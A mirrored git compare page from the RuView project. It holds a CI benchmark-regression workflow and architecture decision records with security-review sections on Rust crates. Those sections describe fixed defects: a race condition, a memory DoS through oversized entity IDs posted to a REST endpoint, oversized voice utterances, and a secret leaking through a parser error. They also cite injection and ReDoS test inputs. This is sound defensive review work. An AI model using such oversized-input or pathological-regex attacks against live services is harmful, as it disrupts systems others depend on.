mirror of
https://github.com/ruvnet/RuView
synced 2026-07-29 18:31:44 +00:00
Compare commits
10 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 65e7b7a80a | |||
| 4a083999e5 | |||
| 0f64d23516 | |||
| b209b8b778 | |||
| 90a88ada9a | |||
| cfd0ad76cf | |||
| 71e8756051 | |||
| 5287497a4a | |||
| bf1dfe79fd | |||
| 9b126e927e |
@@ -0,0 +1,199 @@
|
||||
name: Bench Regression Guard
|
||||
|
||||
# Sub-deliverable 8.3 of the benchmark/optimization milestone.
|
||||
#
|
||||
# HONEST SCOPE (read this before assuming this gates on timing):
|
||||
# * The `bench-compile` job is a REAL, HARD-FAILING regression gate. It runs
|
||||
# `cargo bench --no-default-features --no-run`, which type-checks and links
|
||||
# EVERY criterion bench in the v2/ workspace without running a single
|
||||
# measurement. Benches are not part of `cargo test`, so they silently
|
||||
# bit-rot when a public API they call changes — this job catches that the
|
||||
# moment it happens. This is the part of this workflow that can fail a PR.
|
||||
#
|
||||
# * The `bench-fast-run` job runs a small, curated subset of pure-CPU benches
|
||||
# in criterion "quick mode" (short warm-up / measurement / 10 samples) and
|
||||
# is INFORMATIONAL ONLY (`continue-on-error: true`). It does NOT gate on
|
||||
# timing. Wall-clock timings on shared GitHub-hosted runners vary by
|
||||
# 2-3x run-to-run (noisy neighbours, CPU throttling, no pinned frequency),
|
||||
# so a hard ">X ms" threshold here would flake constantly and teach
|
||||
# everyone to ignore it. We deliberately do not pretend to do timing
|
||||
# regression-gating we cannot deliver reliably. The numbers are surfaced in
|
||||
# the job log + uploaded as an artifact for humans to eyeball trends.
|
||||
#
|
||||
# WHY NO criterion --baseline COMPARE GATE:
|
||||
# criterion's `--save-baseline` / `--baseline` compare is the textbook
|
||||
# regression mechanism, but it only produces a trustworthy verdict when the
|
||||
# baseline and the candidate were measured on the SAME hardware under the SAME
|
||||
# conditions. GitHub-hosted runners give neither (the baseline commit and the
|
||||
# PR commit land on different physical machines). Committing a baseline JSON
|
||||
# measured on one runner and comparing a different runner against it would
|
||||
# manufacture false regressions. If/when these benches run on a dedicated,
|
||||
# frequency-pinned self-hosted runner, a `--baseline` compare with a generous
|
||||
# (>2x) noise floor becomes honest and can be added then. Until then,
|
||||
# compile-verify + informational-run is the honest gate.
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main, develop, 'feat/*' ]
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
pull_request:
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
# Debuginfo is useless in CI and the 38-crate workspace target dir otherwise
|
||||
# exhausts the runner disk (mirrors ci.yml's rust-tests job). The bench
|
||||
# profile inherits release + debug = true (v2/Cargo.toml [profile.bench]);
|
||||
# force it off so the link step does not run out of space.
|
||||
CARGO_PROFILE_BENCH_DEBUG: "0"
|
||||
CARGO_PROFILE_RELEASE_DEBUG: "0"
|
||||
|
||||
jobs:
|
||||
# ── HARD GATE: every bench must still compile + link ─────────────────────
|
||||
bench-compile:
|
||||
name: bench compile-verify (--no-run)
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout (recursive — wifi-densepose-rufield path-deps vendor/rufield)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# The workspace includes `wifi-densepose-rufield`, which path-deps the
|
||||
# `vendor/rufield` submodule crates. Without a recursive checkout the
|
||||
# whole workspace fails to resolve before any bench is built.
|
||||
submodules: recursive
|
||||
|
||||
# The workspace pulls in `wifi-densepose-desktop` (Tauri v2) whose -sys
|
||||
# crates need the GTK/WebKit/serial dev libraries via pkg-config, exactly
|
||||
# as ci.yml's rust-tests job documents. A `--workspace` bench build links
|
||||
# the whole graph, so these are required here too.
|
||||
- name: Install Tauri / GTK / serial system dev libraries
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libglib2.0-dev \
|
||||
libgtk-3-dev \
|
||||
libsoup-3.0-dev \
|
||||
libjavascriptcoregtk-4.1-dev \
|
||||
libwebkit2gtk-4.1-dev \
|
||||
libayatana-appindicator3-dev \
|
||||
librsvg2-dev \
|
||||
libxdo-dev \
|
||||
libudev-dev \
|
||||
libdbus-1-dev \
|
||||
libssl-dev \
|
||||
pkg-config
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
# Distinct cache scope from ci.yml's rust-tests so the bench profile
|
||||
# artifacts (release+opt) do not evict the test profile cache.
|
||||
key: bench-regression
|
||||
|
||||
# The core regression guard. `--no-run` compiles + links every bench
|
||||
# target in the workspace's DEFAULT feature set but runs no measurement,
|
||||
# so it is deterministic and fast-ish (build only). A bench that no longer
|
||||
# compiles — because a type/signature it calls changed and nobody updated
|
||||
# the bench — fails the build here. `--no-default-features` is the
|
||||
# workspace's standard gate flag (openblas/tch/ort/onnx stay opt-out).
|
||||
- name: Compile all workspace benches (default features)
|
||||
working-directory: v2
|
||||
run: cargo bench --workspace --no-default-features --no-run
|
||||
|
||||
# Feature-gated benches are skipped by the default build above because
|
||||
# their `[[bench]]` entries carry `required-features`. Compile the ones we
|
||||
# can guard so they are also covered against bit-rot.
|
||||
# * cir → wifi-densepose-signal/benches/cir_bench.rs (ADR-134). The
|
||||
# `cir` feature is pure-Rust (`cir = []`), so it builds on the stock
|
||||
# runner and is a real, hard-failing guard like the step above.
|
||||
#
|
||||
# NOT guarded here (honest scope):
|
||||
# * crv → wifi-densepose-ruvector/benches/crv_bench.rs. The `crv` feature
|
||||
# pulls the crates.io dependency `ruvector-crv 0.1.1`, which currently
|
||||
# FAILS to compile on stable (E0308 type mismatch in its own
|
||||
# `stage_iii.rs` — an UPSTREAM bug, unrelated to bench bit-rot).
|
||||
# Adding a hard `--features crv` compile step would make this workflow
|
||||
# red for a reason this gate is not meant to police. Re-add this step
|
||||
# once `ruvector-crv` ships a fixed release. (mqtt/onnx benches are
|
||||
# likewise left to their own crate workflows.)
|
||||
- name: Compile feature-gated benches (cir)
|
||||
working-directory: v2
|
||||
run: cargo bench -p wifi-densepose-signal --no-default-features --features cir --bench cir_bench --no-run
|
||||
|
||||
# ── INFORMATIONAL: run a curated fast subset (never gates) ───────────────
|
||||
bench-fast-run:
|
||||
name: bench fast-run (informational, non-gating)
|
||||
runs-on: ubuntu-latest
|
||||
# NEVER fail the workflow on this job — timings are noise-prone on shared
|
||||
# runners (see header). It exists to surface trends for humans, not to gate.
|
||||
continue-on-error: true
|
||||
needs: [bench-compile]
|
||||
steps:
|
||||
- name: Checkout (recursive)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
key: bench-regression
|
||||
|
||||
# Curated subset = pure-CPU, fast, dependency-light criterion benches that
|
||||
# finish in seconds under quick-mode flags. Each is targeted by `--bench`
|
||||
# (NOT a bare `cargo bench -p`) because the crates' lib targets use the
|
||||
# libtest harness, which rejects criterion's CLI flags (--warm-up-time
|
||||
# etc.) and aborts the run. Quick-mode: 1s warm-up, 2s measure, 10 samples.
|
||||
- name: nvsim pipeline_throughput (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
mkdir -p ../bench-out
|
||||
cargo bench -p nvsim --no-default-features --bench pipeline_throughput -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/nvsim_pipeline_throughput.txt
|
||||
|
||||
- name: ruvector sketch_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench sketch_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_sketch_bench.txt
|
||||
|
||||
- name: ruvector fusion_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench fusion_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_fusion_bench.txt
|
||||
|
||||
- name: Upload informational bench logs
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bench-fast-run-logs
|
||||
path: bench-out/
|
||||
if-no-files-found: warn
|
||||
File diff suppressed because one or more lines are too long
@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
|
||||
|
||||
- `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
|
||||
- `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
|
||||
|
||||
---
|
||||
|
||||
## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
|
||||
|
||||
Foundational review of the `homecore` crate — the state store + event bus +
|
||||
service/entity registries every other HOMECORE module trusts. Same rigor as
|
||||
the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
|
||||
concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
|
||||
and lock-discipline dimensions confirmed clean with evidence.**
|
||||
|
||||
- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
|
||||
crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
|
||||
shard lock) → compute the next snapshot + the no-op / `last_changed`
|
||||
decision → `insert()` (re-acquiring the lock) → `send()`. The
|
||||
read-modify-write was **not atomic** w.r.t. a concurrent writer on the
|
||||
same entity, contradicting §2.1's promise that "the writer atomically
|
||||
replaces the map entry." A writer that read a stale `old` could
|
||||
mis-classify a genuine transition as a no-op and **drop its
|
||||
`state_changed` event** (a missed automation trigger) or fire an event
|
||||
whose `new_state` duplicated the previously delivered one (a spurious
|
||||
trigger for any automation keyed on `old_state != new_state`). **Fix:**
|
||||
hold the shard write-lock across the entire read→decide→insert→fire
|
||||
sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
|
||||
non-async, and never re-enters the map, so firing under the shard lock
|
||||
cannot deadlock and keeps global event order in lock-step with global
|
||||
commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
|
||||
(4 writers toggling one entity A/B; asserts no two consecutive fired
|
||||
events carry an identical `new_state` — impossible under correct
|
||||
serialisation; a probe observed ~93k such duplicate-adjacent events across
|
||||
200 trials on the racy code, zero on the fix).
|
||||
- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
|
||||
FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
|
||||
straight through `EntityId::parse`; with no length cap, an
|
||||
otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
|
||||
`POST /api/states/<giant>` would persist it into the DashMap state store
|
||||
(permanent growth across distinct ids). **Fix:** reject ids longer than
|
||||
`MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
|
||||
per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
|
||||
boundary type protects every caller. Pinned by `entity_id_length_boundary`
|
||||
(exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
|
||||
- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
|
||||
`ServiceRegistry::call` already ran handlers outside the registry lock (no
|
||||
`RwLock` poisoning, no blocking of other callers — clean), but a
|
||||
panicking handler unwound through `call()` into the caller's task. **Fix:**
|
||||
wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
|
||||
a panic to `ServiceError::HandlerPanicked`; the registry stays fully
|
||||
usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
|
||||
- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
|
||||
Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
|
||||
(capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
|
||||
(drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
|
||||
slow receivers**, so a lagging subscriber cannot block the publisher, grow
|
||||
the channel without bound, or take down a fast subscriber. Evidenced by
|
||||
`slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
|
||||
capacity at an idle subscriber; publisher unblocked, bus stays live).
|
||||
- **Lock ordering / lock-across-await (deadlock).** No code path holds two
|
||||
of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
|
||||
no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
|
||||
guard in `registry.rs`/`service.rs` is used in a single synchronous
|
||||
statement and dropped before any `.await`; `call` explicitly scopes the
|
||||
read guard out before awaiting the handler. The only guard held across a
|
||||
send is the DashMap shard lock in `set`, across a synchronous
|
||||
(non-await) broadcast send — safe.
|
||||
- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
|
||||
beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
|
||||
`split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
|
||||
|
||||
`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
|
||||
(+4 pins). Workspace green; Python deterministic proof unchanged
|
||||
(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
|
||||
- `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)
|
||||
|
||||
@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
|
||||
| **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
|
||||
| **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
|
||||
| **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security review (beyond-SOTA, untrusted-input → action path)
|
||||
|
||||
A focused security review of the Assist pipeline — `utterance → recognizer →
|
||||
intent → handler → action`, plus `RufloRunner` — treating the utterance as
|
||||
untrusted input (voice transcripts, the WebSocket `assist` command). This
|
||||
surface was not covered by the ADR-154–159 sweep.
|
||||
|
||||
### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
|
||||
|
||||
Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
|
||||
accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
|
||||
clone) + a per-registered-pattern scan (and, in the semantic path, full
|
||||
tokenisation + feature-hash embedding) before any bound — an allocation/CPU
|
||||
amplification on attacker-controlled input. The `regex` crate is **linear-time**
|
||||
(RE2-style finite automaton, no catastrophic backtracking), so this was a
|
||||
throughput/memory DoS, not a hang.
|
||||
|
||||
**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
|
||||
checked at **both** recognizer boundaries *before* any allocation/scan. An
|
||||
over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
|
||||
identical to an unrecognised phrase — so it can never be coerced into firing a
|
||||
handler. Pinned by `over_length_utterance_fails_closed` (an over-length
|
||||
utterance that *contains* a valid command resolves to `None`, which would have
|
||||
matched on the old code) and `over_length_utterance_fails_closed_semantic`.
|
||||
|
||||
### 6.2 Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
|
||||
has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
|
||||
local recognizer, no process). There is **no** `std::process` / `tokio::process`
|
||||
/ `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
|
||||
only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
|
||||
are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
|
||||
genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
|
||||
class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
|
||||
when an injection-shaped utterance resolves (the regex is not exact-anchored),
|
||||
the captured slot is a clean token — sanitisation by construction. Pins:
|
||||
`shell_metachars_never_survive_into_a_resolved_slot`,
|
||||
`runner_opts_are_inert_no_process_spawned`,
|
||||
`pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
|
||||
- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
|
||||
dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
|
||||
completes in bounded time. Pin:
|
||||
`pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
|
||||
operator-registered, not user-supplied, in any case.
|
||||
- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
|
||||
only `&str` and produces values via FNV feature-hashing + a guarded L2
|
||||
normalise (`norm > 1e-12`); no external float input, no unguarded division, so
|
||||
a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
|
||||
against the zero vector is a finite `0.0`; an empty index `max_by` returns
|
||||
`None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
|
||||
place. Pins: `embeddings_are_structurally_finite`,
|
||||
`cosine_with_zero_vector_is_finite_not_nan`,
|
||||
`empty_utterance_against_empty_index_no_panic_no_match`.
|
||||
- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
|
||||
(no service call); a recognised intent with no registered handler →
|
||||
`not_understood()`; semantic below-threshold / empty-index → regex fallback.
|
||||
No default high-privilege intent, no fail-open path.
|
||||
- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
|
||||
utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
|
||||
the append-only exemplar `Vec` (no remove API), so it is always in bounds.
|
||||
|
||||
`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
|
||||
default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
|
||||
unchanged (homecore-assist is off the signal proof path).
|
||||
|
||||
@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
- `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
|
||||
unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
|
||||
- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
|
||||
NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
|
||||
for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
|
||||
verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
|
||||
the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
|
||||
deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
|
||||
redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
|
||||
file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
|
||||
Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
|
||||
rendered error **and its full `#[source]` chain** never contain the secret value).
|
||||
**Review dimensions confirmed clean with evidence:** source is never mutated (no
|
||||
`fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
|
||||
user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
|
||||
user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
|
||||
panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
|
||||
hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
|
||||
only, persists nothing in P1).
|
||||
|
||||
### 2.5 Deferred to P2+ (NOT built — honestly labelled)
|
||||
|
||||
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
### 2.6 Test evidence (as shipped)
|
||||
|
||||
- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
|
||||
- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
|
||||
2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
|
||||
`malformed_secrets_error_reports_location`).
|
||||
|
||||
## 3. Consequences
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **CSI-DESERIALISER-HARDENING** |
|
||||
| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
|
||||
`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
|
||||
security ADR:
|
||||
|
||||
- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
|
||||
(types, traits, error types, CSI frame primitives). A defect here is a
|
||||
force-multiplier: every consumer inherits it.
|
||||
- **`wifi-densepose-cli`** — the user-facing entrypoint
|
||||
(`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
|
||||
which parses untrusted UDP CSI packets and operator-supplied paths.
|
||||
|
||||
A **specific hypothesis** motivated the core review. Three earlier reviews in
|
||||
this campaign found a systemic **NaN-state-poisoning bug class** in crates that
|
||||
depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
|
||||
(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
|
||||
running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
|
||||
feature failure. The load-bearing question for this review: **does that bug class
|
||||
originate in a shared `wifi-densepose-core` primitive** (making the right fix a
|
||||
single root fix), or was it independently re-implemented in each downstream
|
||||
crate (making the three existing local fixes complete)?
|
||||
|
||||
## Decision
|
||||
|
||||
Record the review outcome and lock in the existing DoS guards with regression
|
||||
tests. **No production code is changed** — both crates were already hardened
|
||||
(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
|
||||
guards, which a future refactor could silently remove.
|
||||
|
||||
### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
|
||||
|
||||
`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
|
||||
Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
|
||||
voxel grid.
|
||||
|
||||
- **MEASURED:** `grep` over `core/src` for
|
||||
`welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
|
||||
only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
|
||||
test-only LCG — **zero** stateful logic. The only float math in core is
|
||||
construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
|
||||
pure stateless `utils` functions; nothing persists across frames.
|
||||
- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
|
||||
(`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
|
||||
The downstream fixes are independently re-implemented, confirming each crate
|
||||
rolls its own accumulator and each local fix is correct and complete. **A fix
|
||||
in core would be a no-op (there is nothing to fix).**
|
||||
|
||||
Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
|
||||
core-rooted defect. No hidden fourth instance exists in the shared primitive.
|
||||
|
||||
### Findings (all pins — guards already present, now tested)
|
||||
|
||||
| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
|
||||
|---|----------|----------------------|----------------|---------------------|
|
||||
| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
|
||||
| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
|
||||
| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
|
||||
| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
|
||||
error for every malformed class; `parse_csi_packet` returns `None`. Both
|
||||
fuzz-swept panic-free.
|
||||
2. **NaN handling** — `Confidence::new` rejects NaN
|
||||
(`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
|
||||
`to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
|
||||
3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
|
||||
panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
|
||||
4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
|
||||
5. **Path traversal** — `calibrate-serve` defends every client-supplied
|
||||
`room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
|
||||
cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
|
||||
`mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
|
||||
6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
|
||||
- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(core/cli are off the signal proof path — confirms no pipeline alteration)
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Two CSI deserialisers (the untrusted-input boundary of both the library root
|
||||
and the network-facing CLI) now have their DoS guards pinned against
|
||||
regression — a future refactor that drops a length check fails CI.
|
||||
- The NaN-state-poisoning class is settled as downstream-local; reviewers no
|
||||
longer need to suspect a shared-root defect, and the three prior local fixes
|
||||
are confirmed complete.
|
||||
|
||||
### Negative
|
||||
- None. Test-only change; no behavior or API change.
|
||||
|
||||
### Neutral
|
||||
- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
|
||||
this ADR is the canonical record for the `wifi-densepose-cli` review.
|
||||
|
||||
## Links
|
||||
- ADR-127 — HOMECORE state machine (shared security-review log, §9)
|
||||
- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
|
||||
- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)
|
||||
@@ -0,0 +1,123 @@
|
||||
# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, deterministically tested |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **METRIC-LOCK** |
|
||||
| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
|
||||
threat to any "beyond-SOTA" accuracy claim this project makes: **metric
|
||||
ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
|
||||
unstated* normalizations, so they cannot be compared:
|
||||
|
||||
- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
|
||||
- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
|
||||
- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
|
||||
|
||||
The project has been burned by this twice: a previously-published 92.9% was
|
||||
retracted because it used **absolute-pixel** normalization, not torso. Until
|
||||
there is *one canonical, documented, tested* PCK definition — and every reported
|
||||
number carries the definition it was computed under — no accuracy comparison is
|
||||
credible, and the "prove everything" bar cannot be met for the benchmark half of
|
||||
the work.
|
||||
|
||||
This is measurement infrastructure, not an accuracy claim. The deliverable's job
|
||||
is to make the metric **unambiguous and reproducible**, so future numbers are
|
||||
comparable and an unlabeled PCK is structurally impossible.
|
||||
|
||||
## Decision
|
||||
|
||||
Add a metric-locked accuracy harness as a new module
|
||||
`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
|
||||
deterministic tests bring the file to 708), re-exported at the crate root. It
|
||||
